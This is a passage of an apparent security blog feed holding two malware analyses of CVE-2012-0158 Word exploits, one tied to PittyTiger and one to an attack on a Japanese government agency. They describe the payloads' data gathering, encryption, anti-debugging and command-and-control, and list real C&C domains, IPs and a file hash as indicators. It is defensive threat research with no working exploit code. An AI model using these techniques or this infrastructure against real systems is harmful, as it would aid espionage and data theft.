-&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Existing TCP and UDP connections and open ports on the System&lt;br /&gt;
-&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Organization information from the Registry key :&lt;br /&gt;
--- HKLM/Software/Microsoft/WindowsNT/CurrentVersion&lt;br /&gt;
Productname&lt;br /&gt;
CSDVersion&lt;br /&gt;
CurrentVersion&lt;br /&gt;
CurrentBuildNumber&lt;br /&gt;
RegisteredOrganization&lt;br /&gt;
RegisteredOwner&lt;br /&gt;
&lt;br /&gt;
-&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; Current running system services&lt;br /&gt;
-&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; Installed softwares from the registry key:&lt;br /&gt;
--- HKLM/Software/Microsoft/Windows/CurrentVersion/Uninstall&lt;br /&gt;
-&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Information about Network Adapters , IP Configuration , Netcard Numbers , IP Mask,Gateway , DHCP Server , DHCP Host , WINS server ,WINS host.&lt;br /&gt;
&lt;br /&gt;
Here is the high level snapshot of the malware’s information gathering code:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvN_G7vCh3doi2paMtVZPyi46bHI8zKETgLcfHRep7VGMFyvalnOH0QzqNS9-PgzRf12kjqf1dQ3iLi9sxv-WiySmdQVSGwRza_MsXY1oD8mQq5qK6ficVw8Jw6vbIlmG4aWk6TFDfMwQ/s1600/t11.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvN_G7vCh3doi2paMtVZPyi46bHI8zKETgLcfHRep7VGMFyvalnOH0QzqNS9-PgzRf12kjqf1dQ3iLi9sxv-WiySmdQVSGwRza_MsXY1oD8mQq5qK6ficVw8Jw6vbIlmG4aWk6TFDfMwQ/s1600/t11.png&quot; height=&quot;301&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Encryption at the high level is primarily done using the SYSTEMTIME structure. It forms the repetitive 256 byte key using the SYSTEMTIME information as shown below:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmgpbpwznEaLrZtlCLEma7HULhPN9eWvdM2THvbDNkS3FLZCxkV7wt3wOev32Vn6FojJIGQUtzuJSl-8rvnfsDI0TGNRB2mer_v1g1eTOT3l9wndL6ePw8qTogn2pwTP4HTVHrM2Y2OwI/s1600/t12.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmgpbpwznEaLrZtlCLEma7HULhPN9eWvdM2THvbDNkS3FLZCxkV7wt3wOev32Vn6FojJIGQUtzuJSl-8rvnfsDI0TGNRB2mer_v1g1eTOT3l9wndL6ePw8qTogn2pwTP4HTVHrM2Y2OwI/s1600/t12.png&quot; height=&quot;265&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And then further converts the key into 16 byte to finally start encrypting the information.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0IB4XzmjBKJu4-prtSSLurxUSy4elwUzzUuV0TBERIPTRnXV2VCidwYqKtw5JNm0tPko0foki2IQkL462OoMAO2Anlzyn12ygxInWs7ug_WUhRqvEvfXoGIDWk2ON9GJIS96NFJZJXyU/s1600/t13.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0IB4XzmjBKJu4-prtSSLurxUSy4elwUzzUuV0TBERIPTRnXV2VCidwYqKtw5JNm0tPko0foki2IQkL462OoMAO2Anlzyn12ygxInWs7ug_WUhRqvEvfXoGIDWk2ON9GJIS96NFJZJXyU/s1600/t13.png&quot; height=&quot;140&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once the buffer has been encrypted , it connects to the C&amp;amp;C sophos.skypetm.com.tw posting all the collected &amp;nbsp;information in an encrypted format.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfA40Fk6im3dUroRnLdUiEiKrGip_GmsXN7yMkbKlk12ywGJuv13MNIbiFaZUhhlkmbx68p7h97sea7Ev7Q0KQf_QL1mbBj0mf1rjB6ucNUsnlEP-RdtvInONei6SSAD8Kz1PETIYk3kI/s1600/t14.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfA40Fk6im3dUroRnLdUiEiKrGip_GmsXN7yMkbKlk12ywGJuv13MNIbiFaZUhhlkmbx68p7h97sea7Ev7Q0KQf_QL1mbBj0mf1rjB6ucNUsnlEP-RdtvInONei6SSAD8Kz1PETIYk3kI/s1600/t14.png&quot; height=&quot;400&quot; width=&quot;345&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz6NzBRI4YvUR57qhBuirWkpyIgX5XZN62iTmnnnFIzFJynGDQ2hBR-IF-SKWGl40eJ6I49zCYCAps4SqN-IW3yRGv_JtM-P0tVC1jXs2EQ5Vx4P_p1Z2kyATwhETTgAc82H4ozSWJCp0/s1600/t15.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz6NzBRI4YvUR57qhBuirWkpyIgX5XZN62iTmnnnFIzFJynGDQ2hBR-IF-SKWGl40eJ6I49zCYCAps4SqN-IW3yRGv_JtM-P0tVC1jXs2EQ5Vx4P_p1Z2kyATwhETTgAc82H4ozSWJCp0/s1600/t15.png&quot; height=&quot;155&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Command and Control Research:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
During the time of analysis of this exploit, sophos.skypetm.com.tw was found to be resolving to the IP 66.220.4.100 located in the Fremont City, USA. First instance of outbound traffic to this domain was seen on 27th January 2014 during which it resolved to the IP 198.100.113.27 located in Los Angeles City, USA.&lt;br /&gt;
&lt;br /&gt;
From our passive DNS data , we’ve found following MD5s connecting to the same domain :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheefHnWM9n2l0XoE8RwNc89BXD-Yx5yoUzNRwMO3M2-UZzPw7PEplTifOwyDooOzoICvHSW378xMDIrfVFv8-ct0mB0EvjcHEtFAgXbFIu946C4ge6MxAhY5AzYdvvbWine_-G_X8AAZg/s1600/t16.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheefHnWM9n2l0XoE8RwNc89BXD-Yx5yoUzNRwMO3M2-UZzPw7PEplTifOwyDooOzoICvHSW378xMDIrfVFv8-ct0mB0EvjcHEtFAgXbFIu946C4ge6MxAhY5AzYdvvbWine_-G_X8AAZg/s1600/t16.png&quot; height=&quot;61&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Whois record reveals that the TLD (skypetm.com.tw) domain has been registered under the email ID: &amp;nbsp;longsa33@yahoo.com Which is also found to have registered another domain “avstore.com.tw” used actively as the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbIGRsbJa7rV6Ekjr21DCx9q0GPhNmYK0ViUC8wI7kp-4hyNyokC4LpxrzGj2V5Xs5bDdN76kj5mKR5pwpKcr_LcmfQkQmTIyUxW_C2t_70KagELVAOJfTHJ5p4RDiL8NkQC2lConMw80/s1600/t17.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbIGRsbJa7rV6Ekjr21DCx9q0GPhNmYK0ViUC8wI7kp-4hyNyokC4LpxrzGj2V5Xs5bDdN76kj5mKR5pwpKcr_LcmfQkQmTIyUxW_C2t_70KagELVAOJfTHJ5p4RDiL8NkQC2lConMw80/s1600/t17.png&quot; height=&quot;115&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
While several other malware binaries has been observed to be communicating to the various subdomains of skypetm.com.tw and avstore.com.tw , all of them are identified as “PittyTiger” malware that has been implanted in numerous CVE- 2012-0158 exploits used in recent targeted attacks . Same payload was also used in the “Tomato Garden” APT Campaign targeting Tibetian and Chinese democracy activist uncovered in June 2013.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj91tLtSSvpeQ3EfUsZmptt0POtSFX0VBSsE5w08tB49kJCK9_JUL98BKpdXhqSSeDUYpCNQZ5OXVaqcY-sU_tJU2ddqU-eUIwbtlu59caglaXz9vjf6K4K1Jrc-PFcVDfWM0dUycxBZlY/s1600/t18.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj91tLtSSvpeQ3EfUsZmptt0POtSFX0VBSsE5w08tB49kJCK9_JUL98BKpdXhqSSeDUYpCNQZ5OXVaqcY-sU_tJU2ddqU-eUIwbtlu59caglaXz9vjf6K4K1Jrc-PFcVDfWM0dUycxBZlY/s1600/t18.png&quot; height=&quot;140&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC7Q5RMKsG9fhzQXKnZOifAUu-rKYz1tNZblso1QcCtsgJd7yuHDE1u_t3rQrEWUoKJSmkW8vAxqZRLYPBL6ASrwPPeNFQZfBPYmOfwVZXMOOwqavLxfZ72FNhxVud2sTk3pqOWfwirHs/s1600/t19.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC7Q5RMKsG9fhzQXKnZOifAUu-rKYz1tNZblso1QcCtsgJd7yuHDE1u_t3rQrEWUoKJSmkW8vAxqZRLYPBL6ASrwPPeNFQZfBPYmOfwVZXMOOwqavLxfZ72FNhxVud2sTk3pqOWfwirHs/s1600/t19.png&quot; height=&quot;171&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt;&quot;&gt;
Additional Domains related to this attack :&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt;&quot;&gt;
· &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;63.251.83.36&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt;&quot;&gt;
· &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;64.74.96.242&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt;&quot;&gt;
· &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;69.251.142.1&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt;&quot;&gt;
· &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;218.16.121.32&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt;&quot;&gt;
· &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;61.145.112.78&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt;&quot;&gt;
· &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;star.yamn.net&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt;&quot;&gt;
· &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;216.52.184.230&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt;&quot;&gt;
· &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;212.118.243.118&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt;&quot;&gt;
· &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;bz.kimoo.com.tw&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt;&quot;&gt;
· &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mca.avstore.com.tw&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2014/06/multiple-microsoft-word-vulnerabilities.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggXj9fv1pBD7BQd-c1PMjf_i-uUglw7ep0qCshUlshB8WZ6mi9dWnQ8x7__d4NQ7i5jMYQGR3CgwN3G3OkBOtIcfwvJf3-e-r3XYh4jnxjtKilquxb-wrcyHylc80hjz_ByqFIL6ddD9I/s72-c/t1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-5185671308136627595</guid><pubDate>Fri, 09 May 2014 06:19:00 +0000</pubDate><atom:updated>2014-06-05T21:50:32.258+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">APT and Targeted Attacks</category><title>Recent Targeted Attacks Against Japanese Government Agency Uses CVE-2012-0158 ActiveX Vulnerability..!.</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
The instigators of many targeted attacks are fond of using the &lt;a href=&quot;https://technet.microsoft.com/en-us/library/security/ms12-027.aspx&quot; target=&quot;_blank&quot;&gt;CVE-2012-0158&lt;/a&gt; &amp;nbsp;vulnerability, which affects Microsoft Windows Common Controls ( mscomctl.ocx ) in Microsoft Office and some other Microsoft products. We have seen several APT campaigns using this exploit against Chinese and Tibetian activists and several other recent attacks. In a yet another recent targeted attack against Japanese organization , same vulnerability has been found to be used.&lt;br /&gt;
&lt;br /&gt;
In the recent wave of the attacks using this exploit, the potential target seems to be one of the Japanese government agency.We have found Word .doc exploits taking advantage of CVE-2012-0158 with the decoy document contents indicating the target organization .Similar malware attacks had been carried out in the past against the same target , which led to the possible data exfilteration information / leakage indicating a possible cyber espionage attempt.&lt;br /&gt;
&lt;br /&gt;
Exploit-laden doc files in the wild was first observed on April 7 2014 with the following file name:&lt;br /&gt;
&lt;br /&gt;
xxx運営調整会議議事録（最終版).doc&lt;br /&gt;
&lt;br /&gt;
(xxx was the abbreviated form for one of the centres / departments of the target organization )&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Threat Vector&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The threat arrives in a Word doc file that exploits the CVE-2012-0158 vulnerability in the mscomctl.ocx ActiveX control. Opening the doc exploit opens another decoy document and drops a binary, services.exe, in the %Temp% directory. This binary copies itself into C:\Program Files\Windows NT\Accessories\Microsoft and runs from there.&lt;br /&gt;
&lt;br /&gt;
The following diagram gives a high-level picture of how the attack works:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRo8VJiT7lVnp8_3pdBi39LjQrc1_GIgj0MlKL_9uo0WSsrTQFqHwVI4MMZ3HXzNQN0fH83g6RVfKJOA8FxEhAx1wHsyvMytmih1FtgjLHmsDv1aGBJO8pVraBlSnnZmXeT0813K_RGkY/s1600/jaxa_3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRo8VJiT7lVnp8_3pdBi39LjQrc1_GIgj0MlKL_9uo0WSsrTQFqHwVI4MMZ3HXzNQN0fH83g6RVfKJOA8FxEhAx1wHsyvMytmih1FtgjLHmsDv1aGBJO8pVraBlSnnZmXeT0813K_RGkY/s1600/jaxa_3.png&quot; height=&quot;287&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The decoy document roughly translates as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidOzx4OXiz1i7pWAGTk8SB9bnIMViI2t2TCyL-w2uO6a1vTcU1Nl4WPLtZeCjcAUZLOYqpuTYh6rKk4Q9BYhSivf6PA6Q08qFzi3rRRq3ZBiWOnBeNNUALL8v-IDj8DYLgvj4BzxtvY8I/s1600/JAXA_5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidOzx4OXiz1i7pWAGTk8SB9bnIMViI2t2TCyL-w2uO6a1vTcU1Nl4WPLtZeCjcAUZLOYqpuTYh6rKk4Q9BYhSivf6PA6Q08qFzi3rRRq3ZBiWOnBeNNUALL8v-IDj8DYLgvj4BzxtvY8I/s1600/JAXA_5.png&quot; height=&quot;236&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Analysis of the payload&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The exploit drops the binary services.exe (MD5 677EC884F6606A61C81FC06F6F73DE6D) into %Temp% and later into C:\Program Files\Windows NT\Accessories\Microsoft, and adds registry start-up entries for persistence. The initial part of the binary has a simple but fairly uncommon antidebugging technique using Windows Message loops. It uses RegisterClassA( ) to register the Windows procedure and then calls CreateWindowExA( ) , transfering the execution to registered callback function before the API actually returns.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjH5VTjcT68klV3jrZTHt6yCbeorQjgjkCmvS_CXoWLZgUWDDS4NiT-MXfO-bR_kJWLMQ8R4O3pxBISjD8ZxR2n84-xnHhvQs0U4XTe77jWptsyIBKdMo1-d3oiN_cUz42MJkx3zB7E2JA/s1600/jaxa_4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjH5VTjcT68klV3jrZTHt6yCbeorQjgjkCmvS_CXoWLZgUWDDS4NiT-MXfO-bR_kJWLMQ8R4O3pxBISjD8ZxR2n84-xnHhvQs0U4XTe77jWptsyIBKdMo1-d3oiN_cUz42MJkx3zB7E2JA/s1600/jaxa_4.png&quot; height=&quot;305&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtUE0CJz-iEzkGTz9N197Ru7d9SDqs_X90ynunfzcPSNPKbi52KMxTVuGzWeBQkjV5s5qJ_C8GEf9IRV14iwOe4yKv7mmEDpeT3lVeJ8gkvGsuH2M8D5CmapKIpXy4shFQTHIl6YV1qTE/s1600/jaxa_6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtUE0CJz-iEzkGTz9N197Ru7d9SDqs_X90ynunfzcPSNPKbi52KMxTVuGzWeBQkjV5s5qJ_C8GEf9IRV14iwOe4yKv7mmEDpeT3lVeJ8gkvGsuH2M8D5CmapKIpXy4shFQTHIl6YV1qTE/s1600/jaxa_6.png&quot; height=&quot;146&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once the location has been identified, breaking at the right spot will expose the hidden code and an additional domain to connect to, and &amp;nbsp;eventually exposes the supposedly malicious iframe to redirect the victim to download additional malware.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfRBDvFFTlgyNxxrY2lq6K5Uloxa5SsEnE76N3Sr23sBg3IVsPER1_lbN7jWoQMjQHTU9ow2rN81rJ_P3-CML7jy7Xm2rm5Kopo0tjiQNp7UjuMWCxUHFF9L6leto5Ig2r3WX4rEqvaeU/s1600/jaxa_7.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfRBDvFFTlgyNxxrY2lq6K5Uloxa5SsEnE76N3Sr23sBg3IVsPER1_lbN7jWoQMjQHTU9ow2rN81rJ_P3-CML7jy7Xm2rm5Kopo0tjiQNp7UjuMWCxUHFF9L6leto5Ig2r3WX4rEqvaeU/s1600/jaxa_7.png&quot; height=&quot;162&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Network communication&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
While analyzing this exploit, we found that it connects to the domain &lt;b&gt;www.sitclogi.co.jp&lt;/b&gt;, resolving to 111.68.158.66. This domain is legitimate at the moment and possibly recovered from compromise :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0K1p9Y1c7CkYCYU_zJnMvqo-5WunyhSx8Ei5KVbYTm17qD9JBLkXX_wHDSrFjyAB4Cwtj2HW3q1b9F7p2iWLnHa_rg9IxSzNWmeQinHTyBr8aqJfCXLN0p7aIjbsotfrzJoTG_bqIwA8/s1600/jaxa8.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0K1p9Y1c7CkYCYU_zJnMvqo-5WunyhSx8Ei5KVbYTm17qD9JBLkXX_wHDSrFjyAB4Cwtj2HW3q1b9F7p2iWLnHa_rg9IxSzNWmeQinHTyBr8aqJfCXLN0p7aIjbsotfrzJoTG_bqIwA8/s1600/jaxa8.png&quot; height=&quot;171&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
But was apparently compromised to host malware during this attack. A historical scan of this domain confirms our assumption.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
